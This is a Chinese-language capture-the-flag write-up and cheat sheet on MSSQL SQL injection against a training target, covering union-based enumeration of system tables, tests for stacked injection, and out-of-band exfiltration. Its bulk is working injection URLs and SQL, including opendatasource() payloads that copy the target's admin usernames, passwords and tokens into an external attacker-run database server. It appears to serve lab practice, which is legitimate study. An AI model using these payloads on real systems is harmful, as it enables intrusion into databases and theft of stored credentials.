MSSQL 反弹注入 堆叠注入 与 MSSQL速查
https://hack.zkaq.cn/battle/target?id=7dd07600c96f5d55
蠢到爆了
- 数据库自带库,表信息也可以使用 反弹 方式获取
- 数据库自带库,表信息也可以使用 反弹 方式获取
- 数据库自带库,表信息也可以使用 反弹 方式获取
- 数据库自带库,表信息也可以使用 反弹 方式获取
- 数据库自带库,表信息也可以使用 反弹 方式获取
- 数据库自带库,表信息也可以使用 反弹 方式获取
总结
0. 利用条件
- 函数
opendatasource()
可用 - 数据库能能对外访问 公网 或其他接受服务器。
- sql支持 堆叠注入 。
1. OOB 反弹数据创建数据表的相关信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| -- 查看库下的表信息
create table table_temp( id int, name VARCHAR(255) )
-- oob 带外
SELECT * from table_temp;
-- 查看表下的列信息
create table column_temp (
tableid int, -- 表 id
colid int, -- 列 id
name varchar(255), -- 列名
xtype int, -- 列类型
length int ) -- 列长度
SELECT * from column_temp;
-- 查看表下的数据信息
create table value_temp (username varchar(255), passwd char(255) , token char(255))
SELECT * from value_temp
|
2. 字段类型
char
和 varchar
是不同的。 前者会补全所有长度, 后者不会。
- 坑: passwd 为
char(255)
, 导致 select 时导致屏幕没有 token 显示, 认为反弹失败。
根据 syscolumns
中的列信息,构建接受表。
syscolumns表内的xtype
查了一下,这些东西都是存于每一个数据库的syscolumns表里面得,name就是列名,xtype就是数据类型,但是这个xtype是数字的,下面是数字和数据类型对应的关系;
xtype=34 'image'
xtype= 35 'text'
xtype=36 'uniqueidentifier'
xtype=48 'tinyint'
xtype=52 'smallint'
xtype=56 'int'
xtype=58 'smalldatetime'
xtype=59 'real'
xtype=60 'money'
xtype=61 'datetime'
xtype=62 'float'
xtype=98 'sql_variant'
xtype=99 'ntext'
xtype=104 'bit'
xtype=106 'decimal'
xtype=108 'numeric'
xtype=122 'smallmoney'
xtype=127 'bigint'
xtype=165 'varbinary'
xtype=167 'varchar'
xtype=173 'binary'
xtype=175 'char'
xtype=189 'timestamp'
xtype=231 'nvarchar'
xtype=239 'nchar'
xtype=241 'xml'
xtype=231 'sysname'
0xGG 参考文档
反弹注入
创建本地反弹信息收集表
1
| create table table_temp( id int, name VARCHAR(255) )
|
1. 反弹表信息
http://59.63.200.79:8015/?id=1'; insert into opendatasource('sqloledb','server=SQL5095.example.net,1433;uid=DatabaseName_admin;pwd=DatabasePassword;database=DatabaseName').DatabaseName.dbo.table_temp select id,name from sysobjects where xtype='U' -- gg
获取到所有用户表信息
反弹列信息
根据 admin 表信息,反弹其所有列信息。
1
| create table column_temp (tableid int, colid int, name varchar(255), xtype int )
|
1
| http://59.63.200.79:8015/?id=1'; insert into opendatasource('sqloledb','server=SQL5095.example.net,1433;uid=DatabaseName_admin;pwd=DatabasePassword;database=DatabaseName').DatabaseName.dbo.column_temp select id,colid,name,xtype from syscolumns where id=1977058079 -- gg
|
反弹字段信息
根据列 xtype
信息, 创建数据表。
此处 id 一般为自增ID,在创建时可以忽略,避免插入时主键冲突。
1
| create table value_temp (username varchar(255), passwd char(255) , token char(255))
|
** GET FLAG**
done
以下为手工注入, 忽略
信息收集
- 收集对象信息,方便查询文档
1
2
3
| http://59.63.200.79:8015/?id=1%27%20and%201=2%20union%20select%201,2,@@version%20--%20gg
# result: Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 6.1 (Build 7601: Service Pack 1)
|
判断注入点
http://59.63.200.79:8015/?id=1' order by 3 -- g
http://59.63.200.79:8015/?id=1' order by 4 -- g
3 正确,4 错误。 有三个字段
判断是否 堆叠注入
**查询数据库 1 **
http://59.63.200.79:8015/?id=1%27%20and%201=2%20union%20select%20*%20from%20ggadmin32%20--%20g
创建数据库
1
| create table ggadmin2 (id int, username varchar(100), password varchar(100)) ;
|
http://59.63.200.79:8015/?id=1' ; create table ggadmin32 (id int, username varchar(100), password varchar(100)) -- gg
此时并未报错, 并且正常返回。
查询数据库2
http://59.63.200.79:8015/?id=1%27%20and%201=2%20union%20select%20*%20from%20ggadmin32%20--%20g
可以看到,并未报错,并且出现了空数据,这里并未查询到任何数据是因为我们新建表里没有任何数据。
当前 漏洞 支持堆叠注入。
漏洞利用
查询数据库信息
1
2
3
4
5
6
7
| ## 查询数据库ID
http://59.63.200.79:8015/?id=1' and 1=2 union select 1,2,(Select Dbid From Master..SysProcesses Where Spid = @@spid) from sysobjects -- gg
## result : 7
## 查询数据库名
http://59.63.200.79:8015/?id=1' and 1=2 union select 1,2,(Select Name From Master..SysDataBases Where DbId=(Select Dbid From Master..SysProcesses Where Spid = @@spid)) from sysobjects -- gg
## result : sql
|
查询表信息
1
2
3
| ## 查询 第一条表 信息
http://59.63.200.79:8015/?id=1' and 1=2 union select 1,( SELECT top 1 name from sysobjects where xtype='U' ),( SELECT top 1 id from sysobjects where xtype='U' ) from sysobjects -- gg
## result : news, 437576597
|
使用子查询模拟 limit
1
2
3
| select top 1 id,name from sysobjects where xtype='U' and id not in (
select top 3 id from sysobjects where xtype='U'
)
|
查询第N条表信息
1
2
3
| http://59.63.200.79:8015/?id=1' and 1=2 union select 1,2,( select top 1 id from sysobjects where xtype='U' and id not in ( select top 3 id from sysobjects where xtype='U' ) ) from sysobjects -- gg
## result: admin, 1977058079
|
查询列数量
1
| select count(*) from syscolumns where id=1977058079
|
1
2
3
| http://59.63.200.79:8015/?id=1' and 1=2 union select 1,2,( select count(*) from syscolumns where id=1977058079 ) from syscolumns -- gg
## result: 4
|
查询表信息
1
2
| SELECT top 1 CONCAT(name,'__',colid,'__',xtype) from syscolumns where id=1977058079
-- ms sql 2000 不支持 concat 函数, 2019 支持,其他未确认。
|
查询表名
1
2
3
| http://59.63.200.79:8015/?id=1' and 1=2 union select 1,2,( SELECT top 1 name from syscolumns where id=1977058079 and name not in ( 'password','id','passwd','token') ) from syscolumns -- gg
## result: id, password,token,passwd
|
查询表 xtype
1
2
3
4
5
6
7
| ## 查询表名
http://59.63.200.79:8015/?id=1' and 1=2 union select 1,2,( SELECT top 1 xtype from syscolumns where id=1977058079 and name not in ('id','passwd','token') ) from syscolumns -- gg
# id => 56 -> int
# passwd => 175 -> char
# token => 175 -> char
# username => 167 -> varchar
|
本地创建表
1
| create table admin999 (id int, username varchar(255),passwd char(255),token char(255)) ;
|
反弹数据
http://59.63.200.79:8015/?id=1'; insert into opendatasource('sqloledb','server=SQL5095.example.net,1433;uid=DatabaseName_admin;pwd=DatabasePassword;database=DatabaseName').DatabaseName.dbo.admin999 select id,username,password,token from admin -- gg